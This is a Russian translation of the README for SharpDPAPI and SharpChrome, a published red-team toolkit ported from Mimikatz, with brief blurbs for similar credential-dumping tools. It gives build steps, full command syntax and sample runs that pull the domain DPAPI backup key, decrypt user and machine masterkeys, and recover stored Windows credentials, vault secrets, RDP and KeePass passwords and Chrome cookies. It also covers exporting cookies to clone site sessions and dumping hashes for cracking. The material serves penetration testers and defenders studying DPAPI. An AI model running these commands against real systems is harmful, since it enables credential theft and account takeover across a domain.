C#-порт части функциональности Mimikatz для работы с Windows DPAPI.
Автоматизирует удалённое извлечение секретов, защищённых DPAPI, с нескольких Windows-компьютеров.
Инструмент для извлечения паролей, хешей, PIN-кодов и Kerberos-тикетов из памяти Windows. Поддерживает Pass-the-Hash, Pass-the-Ticket, Golden/Silver Ticket, …
Кросс-платформенный инструмент для извлечения сохранённых паролей из десятков приложений: браузеры, почтовые клиенты, SSH-клиенты, мессенджеры, БД, VPN, …
Инструмент для обнаружения файловых ресурсов в сети Windows — помогает находить потенциально открытые файлы и учётные …
git clone https://github.com/GhostPack/SharpDPAPI.git # Visual Studio: открыть SharpDPAPI.sln -> Build # или командная строка: dotnet build SharpDPAPI.csproj -c Release # Готовый EXE доступен в GitHub Releases
SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.
I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.
The SharpChrome subproject is an adaptation of work from @gentilkiwi and @djhohnstein, specifically his SharpChrome project. However, this version of SharpChrome uses a different version of the C# SQL library that supports lockless opening. SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.
SharpChrome also uses an minimized version of @AArnott's BCrypt P/Invoke code released under the MIT License.
If you're unfamiliar with DPAPI, check out this post for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's wiki entry on the subject.
@harmj0y is the primary author of this port.
SharpDPAPI is licensed under the BSD 3-Clause license.
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
Machine/SYSTEM Triage:
machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecredentials — использовать `machinemasterkeys`, а затем анализировать файлы учётных данных машины
machinevaults — использовать `machinemasterkeys`, а затем анализировать хранилища машины
machinetriage — выполнить команды `machinecredentials` и `machinevaults`
Анализ пользователя:
Аргументы для команды `masterkeys`:
/target:ФАЙЛ/папка — анализировать конкретный masterkey или папку с masterkey (иначе анализируются локальные masterkey)
/pvk:BASE64... — использовать закодированный в base64 файл закрытого ключа домена DPAPI для предварительного расшифрования доступных пользовательских masterkey
/pvk:key.pvk — использовать файл закрытого ключа домена DPAPI для предварительного расшифрования доступных пользовательских masterkey
/password:X — расшифровать masterkey целевого пользователя с помощью пароля в открытом виде (работает удалённо)
/ntlm:X — расшифровать masterkey целевого пользователя с помощью NTLM-хеша (работает удалённо)
/credkey:X — расшифровать masterkey целевого пользователя с помощью DPAPI credkey (SHA1 домена или локальный, работает удалённо)
/rpc — расшифровать masterkey целевого пользователя, запросив это у контроллера домена
/server:СЕРВЕР — анализировать удалённый сервер, предполагая наличие административного доступа
/hashes — вывести хеши файлов usermasterkey в формате JTR/Hashcat (без расшифровки)
Аргументы для команд `credentials`, `vaults`, `rdg`, `keepass`, `triage`, `blob`, `ps`:
Расшифровка:
/unprotect — принудительно использовать `CryptUnprotectData()` для команд `ps`, `rdg` или `blob`
/pvk:BASE64... — использовать закодированный в base64 файл закрытого ключа домена DPAPI для предварительного расшифрования доступных пользовательских masterkey
/pvk:key.pvk — использовать файл закрытого ключа домена DPAPI для предварительного расшифрования доступных пользовательских masterkey
/password:X — расшифровать masterkey целевого пользователя с помощью пароля в открытом виде (работает удалённо)
/ntlm:X — расшифровать masterkey целевого пользователя с помощью NTLM-хеша (работает удалённо)
/credkey:X — расшифровать masterkey целевого пользователя с помощью DPAPI credkey (SHA1 домена или локальный, работает удалённо)
/rpc — расшифровать masterkey целевого пользователя, запросив это у контроллера домена
GUID1:SHA1 ... — использовать один или несколько masterkey в формате GUID:SHA1 для расшифровки
/mkfile:ФАЙЛ — использовать файл с одним или несколькими masterkey в формате GUID:SHA1 для расшифровки
Целевое назначение:
/target:ФАЙЛ/папка — анализировать конкретное расположение файла `Credentials`, `.rdg|RDCMan.settings`, `blob` или `ps`, либо папки `Vault`
/server:СЕРВЕР — анализировать удалённый сервер, предполагая наличие административного доступа
Примечание: необходимо использовать вместе с `/pvk:КЛЮЧ` или `/password:X`
Примечание: не применимо к командам `blob` или `ps`
Анализ сертификатов:
Аргументы для команды `certificates`:
/showall — показать все расшифрованные файлы закрытых ключей, а не только те, которые связаны с установленными сертификатами (по умолчанию)
/machine — использовать локальное хранилище машины для анализа сертификатов
/mkfile | /target — для анализа `/machine`
[все аргументы расшифровки из раздела «Анализ пользователя» выше]
Примечание: в большинстве случаев просто используйте *triage*, если вы нацелены на секреты DPAPI пользователя, и *machinetriage*, если вы работаете с секретами DPAPI SYSTEM. Эти функции объединяют все остальные применимые функции, которые могут быть выполнены автоматически.
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.9.0
Получение резервного ключа DPAPI контроллера домена, с возможностью указания контроллера домена и выходного файла:
SharpChrome backupkey [/nowrap] [/server:СЕРВЕР.домен] [/file:key.pvk]
Глобальные аргументы для команд `cookies`, `logins` и `statekeys`:
Расшифровка:
/unprotect — принудительно использовать `CryptUnprotectData()` (по умолчанию для выполнения без повышенных привилегий)
/pvk:BASE64... - использовать файл закрытого ключа DPAPI домена в формате BASE64 для предварительного расшифрования доступных пользовательских мастер-ключей
/pvk:key.pvk - использовать файл закрытого ключа DPAPI домена для предварительного расшифрования доступных пользовательских мастер-ключей
/password:X - расшифровать мастер-ключи целевого пользователя с помощью пароля в открытом виде (работает удалённо)
/ntlm:X - расшифровать мастер-ключи целевого пользователя с помощью NTLM-хеша (работает удалённо)
/prekey:X - расшифровать мастер-ключи целевого пользователя с помощью предварительного ключа DPAPI (доменного или локального SHA1, работает удалённо)
/rpc - расшифровать мастер-ключи целевого пользователя, запросив выполнение этой операции у контроллера домена
GUID1:SHA1 ... - использовать один или несколько мастер-ключей в формате GUID:SHA1 для расшифровки
/statekey:X - расшифрованный AES-ключ состояния (из команды `statekey`)
Целевые параметры:
/target:FILE - анализировать конкретное местоположение файла 'Cookies', 'Login Data' или 'Local State'
/target:C:\Users\X\ - анализировать конкретную папку пользователя для любой указанной команды
/server:SERVER - анализировать удалённый сервер, предполагая наличие административного доступа (примечание: должно использоваться вместе с /pvk:KEY)
/browser:X - анализировать браузеры 'chrome' (по умолчанию), (на основе chromium) 'edge' или 'slack'
Вывод:
/format:X - формат отображения: 'csv' (по умолчанию) или 'table'
/showall - показывать записи Login Data с пустыми паролями и истекшими куками вместо фильтрации (по умолчанию)
/consoleoutfile:X - выводить весь консольный вывод в файл на диске
Аргументы, специфичные для команды 'cookies':
/cookie:"REGEX" - возвращать только те куки, где имя куки соответствует указанному регулярному выражению
/url:"REGEX" - возвращать только те куки, где URL куки соответствует указанному регулярному выражению
/format:json - выводить значения куки в формате JSON для импорта в EditThisCookie. Лучше всего использовать с регулярным выражением!
/setneverexpire - установить срок истечения для выводимых куки на текущий момент + 100 лет (для JSON-вывода)
Одна из целей SharpDPAPI — адаптировать работу Бенджамина с DPAPI для нашего рабочего процесса.
То, как именно вы используете набор инструментов, зависит от этапа выполнения задания. В общем случае это делится на «получил ли я контроль над доменом или нет».
Если получены привилегии администратора домена (или эквивалентные), можно извлечь резервный ключ DPAPI домена с помощью команды backupkey (или с помощью Mimikatz). Этот закрытый ключ домена никогда не изменяется и может расшифровать любые мастер-ключи DPAPI для пользователей домена. Это означает, что при наличии резервного ключа DPAPI домена атакующий может расшифровать мастер-ключи для любого пользователя домена, которые затем можно использовать для расшифровки любых хранилищ Vault/Учётных данных/Входов Chrome/других DPAPI-объектов и т. д. Ключ, полученный из команды backupkey, можно использовать с командами masterkeys, credentials, vaults, rdg или triage.
Если привилегии DA не получены, использование команды Mimikatz sekurlsa::dpapi извлечёт соответствия мастер-ключей DPAPI {GUID}:SHA1 для всех загруженных мастер-ключей (пользовательских и SYSTEM) на данной системе (совет: выполнение dpapi::cache после извлечения ключей даст удобную таблицу). Если вы преобразуете эти ключи в формат {GUID1}:SHA1 {GUID2}:SHA1..., их можно передать в команды credentials, vaults, rdg или triage. Это позволяет анализировать все файлы Учётных данных/Хранилища на системе для любого пользователя, который в данный момент вошёл в систему, без необходимости расшифровывать файлы по одному.
Альтернативно, если вы можете предоставить пароль целевого пользователя, NTLM-хеш или предварительный ключ DPAPI для команды пользователя с помощью /password:X, /ntlm:X или /prekey:X соответственно. Поле dpapi из вывода Mimikatz sekurlsa::msv для пользователей домена можно использовать в качестве /prekey, а поле sha1 из вывода sekurlsa::msv — в качестве /prekey для локальных пользователей.
Для расшифровки файлов RDG/RDCMan.settings с помощью команды rdg флаг /unprotect будет использовать CryptUnprotectData() для расшифровки сохранённых паролей RDP, если команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из непривилегированного контекста, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, читайте в документации Бенджамина.
Для триажа DPAPI, специфичного для машины, команды machinemasterkeys|machinecredentials|machinevaults|machinetriage выполнят машинный эквивалент триажа DPAPI пользователя. Если вы находитесь в повышенном контексте (то есть вам нужны локальные административные права), SharpDPAPI повысит привилегии до SYSTEM для получения секрета LSA "DPAPI_SYSTEM", который затем используется для расшифровки обнаруженных машинных мастер-ключей DPAPI. Эти ключи затем используются в качестве таблиц поиска для машинных учётных данных/хранилищ и т. д.
Для получения дополнительной информации об атаках на DPAPI ознакомьтесь здесь.
SharpChrome — это реализация SharpDPAPI, специфичная для Chrome, способная расшифровывать/триажировать куки и логины. Она вынесена в отдельный проект в SharpDPAPI из-за размера используемой библиотеки SQLite.
Поскольку куки и данные входа Chrome сохраняются без CRYPTPROTECT_SYSTEM, снова можно использовать CryptUnprotectData(). Если SharpChrome запускается из непривилегированного контекста, он попытается расшифровать любые логины/куки для текущего пользователя с помощью CryptUnprotectData(). Также можно использовать /pvk:[BASE64|file.pvk], таблицу поиска {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X или /mkfile:FILE со значениями {GUID}:SHA1 для расшифровки. Кроме того, используемая библиотека C# SQL (с некоторыми изменениями) поддерживает открытие без блокировки, что означает, что Chrome не нужно закрывать/целевые файлы не нужно копировать в другое место.
Альтернативно, если вы можете предоставить пароль целевого пользователя, хеш NTLM или предварительный ключ DPAPI для команды пользователя с помощью /password:X, /ntlm:X или /prekey:X соответственно. Поле dpapi из вывода sekurlsa::msv Mimikatz для доменных пользователей можно использовать как /prekey, а поле sha1 из вывода sekurlsa::msv — как /prekey для локальных пользователей.
Если версия Chrome 80+, ключ состояния AES хранится в AppData\Local\Google\Chrome\User Data\Local State — этот ключ защищён с помощью DPAPI, поэтому мы можем использовать CryptUnprotectData()/таблицы поиска pvk/мастер-ключей для его расшифровки. Этот ключ AES затем используется для защиты новых записей куки и данных входа. Этот же процесс применяется при указании /browser:edge или /browser:brave для триажа нового браузера Edge на базе Chromium.
По умолчанию куки и логины отображаются в формате csv — это можно изменить с помощью /format:table для табличного вывода и /format:json специально для куки. Опция json выводит куки в формате json, который можно импортировать в расширение Chrome EditThisCookie для лёгкого повторного использования.
У команды cookies также есть аргументы /cookie:REGEX и /url:REGEX, чтобы возвращать только имена куки или URL-адреса, соответствующие указанному регулярному выражению. Это полезно в сочетании с /format:json для лёгкого клонирования доступа к определённым сайтам.
Конкретные файлы куки/логинов/ключей состояния можно указать с помощью /target:X, а папку пользователя — с помощью /target:C:\Users\USER\ для любой команды триажа.
Команда masterkeys будет искать любые доступные для чтения файлы мастер-ключей пользователя и расшифровывать их с использованием резервного ключа DPAPI домена. Она вернёт набор сопоставлений мастер-ключей {GUID}:SHA1.
/password:X можно использовать для расшифровки текущих мастер-ключей пользователя. Обратите внимание, что для машин, присоединённых к домену, пароль можно указать как в открытом виде, так и в формате NTLM. Если также указан /target с /password, необходимо указать полный доменный SID пользователя с помощью /sid:X.
Резервный ключ домена может быть в формате base64 (/pvk:BASE64...) или в виде файла (/pvk:key.pvk).
```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Сбор данных о файлах главных ключей пользователя
[*] Найден главный ключ: C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Найден главный ключ: C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] Кэш главных ключей пользователя:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...
Если не указаны `/password` или `/pvk`, можно передать флаг `/hashes`, чтобы извлечь хеши главных ключей в формате John/Hashcat. В этом режиме хеши выводятся в формате `{GUID}:DPAPImk`.
Также анализируется `Preferred`-ключ, чтобы выделить текущий предпочтительный главный ключ, чтобы не тратить усилия на подбор старых ключей.
C:\Temp>SharpDPAPI.exe masterkeys /hashes
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Действие: Сбор данных о файлах главных ключей пользователя DPAPI
[*] Будет извлечён хеш главных ключей пользователя
[*] Найден главный ключ: C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Найден главный ключ: C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] Предпочтительные главные ключи:
C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
[*] Хеши главных ключей пользователя:
{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...
#### credentials
Команда **credentials** ищет файлы учётных данных и либо:
a) расшифровывает их с помощью переданных главных ключей в формате `{GUID}:SHA1`,
b) использует файл `/mkfile:FILE` с одним или несколькими соответствиями `{GUID}:SHA1` главных ключей,
c) использует предоставленный резервный ключ домена DPAPI (`/pvk:BASE64...` или `/pvk:key.pvk`), чтобы сначала расшифровать главные ключи пользователя (аналогично команде **masterkeys**),
d) использует `/password:X` для расшифровки главных ключей пользователя, которые затем используются как таблица для расшифровки.
Соответствия GUID DPAPI можно извлечь с помощью команды Mimikatz `sekurlsa::dpapi`.
Можно указать конкретный файл учётных данных (или папку с ними) с помощью `/target:FILE` или `/target:C:\Folder\`. Если указан файл, требуются значения `{GUID}:SHA1`. Если указана папка, то либо:
a) должны быть предоставлены значения `{GUID}:SHA1`, либо
b) папка должна содержать главные ключи DPAPI, и должен быть предоставлен резервный ключ домена `/pvk`.
Если команда выполняется из контекста с повышенными правами, будут обработаны файлы учётных данных ВСЕХ пользователей, иначе — только текущего пользователя.
Использование соответствий главных ключей домена `{GUID}:SHA1`:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Сбор данных о файлах учётных данных пользователя DPAPI
[*] Обработка учётных данных для ВСЕХ пользователей
Папка: C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
Файл учётных данных: 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey: {885342c6-028b-4ecf-82b2-304242e769e0}
размер: 436
флаги: 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt: 32772/26115
описание: Локальные данные учётных данных
Последнее изменение: 22.01.2019 2:44:40
Имя цели: Domain:target=TERMSRV/10.4.10.101
Псевдоним цели:
Комментарий:
Имя пользователя: DOMAIN\user
Учётные данные: Password!
...(snip)...
Использование резервного ключа домена DPAPI для предварительной расшифровки обнаруженных главных ключей:
---
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Анализ учётных данных пользователя DPAPI
[*] Используется резервный ключ домена DPAPI для анализа мастер-ключей с целью сопоставления ключей расшифровки!
[*] Кэш мастер-ключей пользователя:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Анализ учётных данных для ВСЕХ пользователей
Папка : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
Файл учётных данных: 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
размер : 436
флаги : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
описание : Локальные данные учётных данных
Последнее изменение: 22.01.2019 2:44:40
Имя цели : Домен:цель=TERMSRV/10.4.10.101
Псевдоним цели :
Комментарий :
Имя пользователя : DOMAIN\user
Учётные данные : Password!
...(snip)...
#### vaults
Команда **vaults** выполняет поиск хранилищ (Vaults) и либо:
a) расшифровывает их с помощью переданных мастер-ключей в формате `{GUID}:SHA1`,
b) использует файл `/mkfile:FILE` с одним или несколькими сопоставлениями мастер-ключей `{GUID}:SHA1`,
c) использует предоставленный резервный ключ домена DPAPI (`/pvk:BASE64...` или `/pvk:key.pvk`), чтобы сначала расшифровать мастер-ключи пользователей (аналогично команде **masterkeys**),
d) использует `/password:X` для расшифровки мастер-ключей пользователей, которые затем используются как таблица для поиска ключей расшифровки.
Сопоставления GUID DPAPI можно извлечь с помощью команды Mimikatz `sekurlsa::dpapi`.
Папка `Policy.vpol` в папке Vault расшифровывается с помощью предоставленных ключей DPAPI для извлечения связанных ключей расшифровки AES, которые затем используются для расшифровки связанных файлов `.vcrd`.
Можно указать конкретную папку хранилища с помощью `/target:C:\Folder\`. В этом случае либо:
a) должны быть предоставлены значения `{GUID}:SHA1`, либо
b) папка должна содержать мастер-ключи DPAPI, и должен быть предоставлен резервный ключ домена `/pvk`.
Использование сопоставлений мастер-ключей домена `{GUID}:SHA1`:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Анализ хранилищ DPAPI пользователя
[*] Анализ хранилищ для ВСЕХ пользователей
[*] Анализ папки хранилища: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Имя : Учётные данные веб-сайтов
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
размер : 240
флаги : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
описание :
ключ aes128 : EDB42294C0721F2F1638A40F0CD67CD8
ключ aes256 : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
Последнее изменение: 12.10.2018 12:10:42
Отображаемое имя : Internet Explorer
Идентификатор : admin
Ресурс : https://10.0.0.1/
Аутентификатор : Password!
...(snip)...
Использование резервного ключа домена DPAPI для предварительной расшифровки обнаруженных мастер-ключей:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Анализ хранилищ DPAPI
[*] Используется резервный ключ домена DPAPI для анализа мастер-ключей с целью сопоставления ключей расшифровки!
[*] Кэш мастер-ключей пользователя:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Анализ хранилищ для ВСЕХ пользователей
[*] Анализ папки хранилища: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Имя : Учётные данные веб-сайтов
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
#### rdg
The **rdg** command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
The `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\Folder\`. If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.
Using `/unprotect` to decrypt any found passwords:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
---
Имя пользователя : TESTLAB\harmj0y
Пароль : Password123!
C:\Users\harmj0y\Documents\test.rdg
Серверы
Имя : secondary.testlab.local
Имя : primary.testlab.local
Имя профиля : Custom
Имя пользователя : TESTLAB\dfm.a
Пароль : Password123!
Использование сопоставлений мастер-ключей домена {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Действие: Анализ RDG
[*] Использование CryptUnprotectData() для расшифровки паролей RDG
[*] Анализ файлов настроек RDCMan для текущего пользователя
Файл RDCMan : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Доступ : 09.05.2019 11:52:58
Изменён : 09.05.2019 11:52:58
Последний сервер : test\primary.testlab.local
Профили учётных данных
Имя профиля : testprofile
Имя пользователя : testlab.local\dfm
Пароль : Password123!
Учётные данные по умолчанию
Имя профиля : Custom
Имя пользователя : TESTLAB\harmj0y
Пароль : Password123!
C:\Users\harmj0y\Documents\test.rdg
Серверы
Имя : secondary.testlab.local
Имя : primary.testlab.local
Имя профиля : Custom
Имя пользователя : TESTLAB\dfm.a
Пароль : Password123!
Использование резервного ключа DPAPI домена для первоначальной расшифровки любых обнаруживаемых мастер-ключей:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Действие: Анализ RDG
[*] Использование резервного ключа DPAPI домена для анализа мастер-ключей и сопоставления ключей расшифровки!
[*] Кэш мастер-ключей пользователя:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Анализ файлов RDCMan.settings для ВСЕХ пользователей
Файл RDCMan : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Доступ : 09.05.2019 11:52:58
Изменён : 09.05.2019 11:52:58
Последний сервер : test\primary.testlab.local
Профили учётных данных
Имя профиля : testprofile
Имя пользователя : testlab.local\dfm.a
Пароль : Password123!
Учётные данные по умолчанию
Имя профиля : Custom
Имя пользователя : TESTLAB\harmj0y
Пароль : Password123!
C:\Users\harmj0y\Documents\test.rdg
Серверы
Имя : secondary.testlab.local
Имя : primary.testlab.local
Имя профиля : Custom
Имя пользователя : TESTLAB\dfm.a
Пароль : Password123!
#### keepass
Команда **keepass** выполнит поиск файлов KeePass ProtectedUserKey.bin для текущего пользователя (или, если запущено с повышенными правами, для всех пользователей) и либо a) расшифрует их с помощью переданных мастер-ключей "{GUID}:SHA1", b) использует файл `/mkfile:FILE` с одним или несколькими сопоставлениями мастер-ключей {GUID}:SHA1, c) применит предоставленный резервный ключ DPAPI домена (`/pvk:BASE64...` или `/pvk:key.pvk`) для первоначальной расшифровки любых мастер-ключей пользователя (по аналогии с **masterkeys**), либо d) использует `/password:X` для расшифровки мастер-ключей пользователя, которые затем применяются в качестве таблицы поиска для расшифровки. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz `sekurlsa::dpapi`.
Флаг `/unprotect` использует CryptUnprotectData() для расшифровки байтов ключа, *если* команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из _непривилегированного_ контекста без необходимости обращения к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, читайте в [документации Бенджамина](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
Конкретный файл `ProtectedUserKey.bin`, файл `.RDC` (или папка с файлами `.RDG`) можно указать с помощью `/target:ФАЙЛ` или `/target:C:\Папка\`. Если указан файл, требуются значения `{GUID}:SHA1` (или `/unprotect`), а если указана папка, то либо a) должны быть предоставлены значения `{GUID}:SHA1`, либо b) папка должна содержать мастер-ключи DPAPI, и должен быть предоставлен ключ резервного копирования домена `/pvk`.
Расшифрованные байты ключевого файла можно использовать с [модифицированной версией KeePass из KeeThief](https://github.com/GhostPack/KeeThief/tree/master/KeePass-2.34-Source-Patched).
Использование `/unprotect` для расшифровки найденного ключевого материала:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
